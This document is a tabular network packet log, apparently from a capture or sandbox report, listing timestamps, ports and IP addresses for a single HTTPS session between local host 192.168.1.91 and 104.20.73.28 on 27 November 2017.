Nov 27, 2017 12:34:19.675534964 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.689835072 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.689862967 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.696058989 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.696110010 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.701574087 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.701594114 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.701692104 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.701710939 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.701725006 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.701733112 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.703052998 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.703078985 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.728385925 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.728415966 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.728424072 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.728431940 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.728439093 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.728796959 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.728818893 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.729701042 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.729712963 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.729835987 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.729851007 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.744520903 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.744540930 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.744631052 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.744652033 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.763459921 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.763504982 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.763514042 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.763794899 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.763809919 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.763910055 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.763941050 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.769164085 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.769197941 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.778364897 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.789954901 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.789992094 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.790002108 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.790081978 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.790091991 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.790122986 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.791996956 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.792053938 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.797157049 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.797202110 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.797593117 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.797638893 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.798118114 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.807672977 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.817854881 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.817884922 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.817890882 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.817976952 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.817990065 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.818245888 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.818274021 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.821806908 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.824537992 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.824563980 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.824588060 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.824824095 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.824851990 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.828711987 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.845968962 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.846667051 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.846698999 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.846708059 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.847897053 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.853128910 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.853149891 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.853157997 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.853789091 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.854060888 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.864715099 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.864748001 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.864754915 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.865134954 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.876293898 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.878844976 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.878878117 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.878885984 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.879198074 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.879236937 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.886066914 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.886096954 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.886354923 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.886401892 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.889842987 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.896992922 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.897039890 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.897049904 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.897464991 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.904839039 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.904947996 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.904969931 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.904978991 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.905107021 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.905119896 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.905435085 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.905467987 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.919996977 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.920059919 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.927911043 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.927938938 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.929095984 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.929131031 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.930742979 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.930766106 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.930861950 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.930886984 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.931952000 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.935014009 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.935036898 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.935730934 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.935758114 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.951257944 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.962254047 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.962299109 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.962308884 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.962414026 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.962424040 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.963392019 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.963429928 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.969290972 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.969333887 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.969741106 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.969775915 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.987333059 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.987344027 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.987512112 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:19.987538099 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:19.998336077 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.006066084 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.063200951 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.063227892 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.063239098 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.063564062 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.088104010 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.095118046 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.095149994 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.095398903 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.095417976 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.104789972 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.104824066 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.105046988 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.105083942 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.121360064 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.121382952 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.121400118 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.121555090 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.121584892 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.128309965 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.128340006 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.128544092 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.128571987 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.144555092 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.144582987 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.144593000 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.145016909 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.145047903 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.147728920 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.147742033 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.147835016 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.147861958 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.155802011 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.155827045 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.156378031 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.156409979 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.159394979 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.159408092 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.159745932 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.159770966 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.168881893 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.168895006 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.168925047 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.169233084 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.169264078 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.170736074 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.170767069 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.171093941 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.171118021 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.175786972 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.175817966 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.175973892 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.176106930 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.176147938 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.180579901 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.180607080 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.180819035 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.180839062 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.183242083 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.183259010 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.183413029 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.183435917 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.186369896 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.186393023 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.186701059 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.186728001 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.188121080 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.188133955 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.188235998 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.188255072 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.191426992 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.192619085 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.192631006 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.192653894 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.192800045 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.193205118 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.194056988 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.194308043 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.194329023 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.194348097 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.194400072 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.196731091 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.196753025 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.196778059 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.196890116 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.198412895 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.198426008 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.198461056 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.198569059 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.199796915 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.200364113 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.200386047 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.200393915 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.200845003 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.200871944 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.200994015 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.201008081 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.201385975 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.201400042 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.201416016 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.201805115 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.202306032 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.204678059 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.205307007 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.205332041 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.205338001 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.205686092 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.209501028 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.223094940 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.223179102 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.223190069 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.224337101 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.238137007 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.238161087 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.238188982 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.238212109 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.238230944 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.238617897 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.238636017 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.238646030 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.238677979 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.239456892 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.257805109 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.257834911 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.257844925 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.257957935 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.269180059 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.269232988 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.269417048 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.272351027 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.272387028 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.272526026 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.276657104 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.276689053 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.276695013 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.276885033 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.286952019 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.286983967 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.287003040 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.287206888 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.288980961 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.289005041 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.289012909 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.289189100 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.294711113 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.294735909 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.294751883 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.294904947 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.310383081 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.310472012 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.310480118 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.310683012 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.310700893 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.314296007 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.314312935 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.314321041 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.314327002 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.314399004 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.314408064 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.314414024 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.314567089 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.314591885 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.317497015 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.317585945 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.317605972 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.339417934 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.339447975 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.339786053 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.339812994 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.340908051 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.340924025 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.340997934 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.341012001 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.341018915 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.341078043 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.341088057 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.341152906 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.341177940 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.341607094 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.346252918 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.378500938 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.378525972 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.378669024 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.378680944 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.378686905 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.379834890 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.379868984 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.385755062 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.385778904 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.386063099 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.386128902 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.395282030 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.395303965 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.395530939 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.395581007 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.395647049 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.397083998 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.410101891 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.410125971 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.410135984 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.410332918 CET	49162	443	192.168.1.91	104.20.73.28
Nov 27, 2017 12:34:20.411149025 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.411164045 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.411170959 CET	443	49162	104.20.73.28	192.168.1.91
Nov 27, 2017 12:34:20.411278009 CET	49162	443	192.168.1.91	104.20.73.28
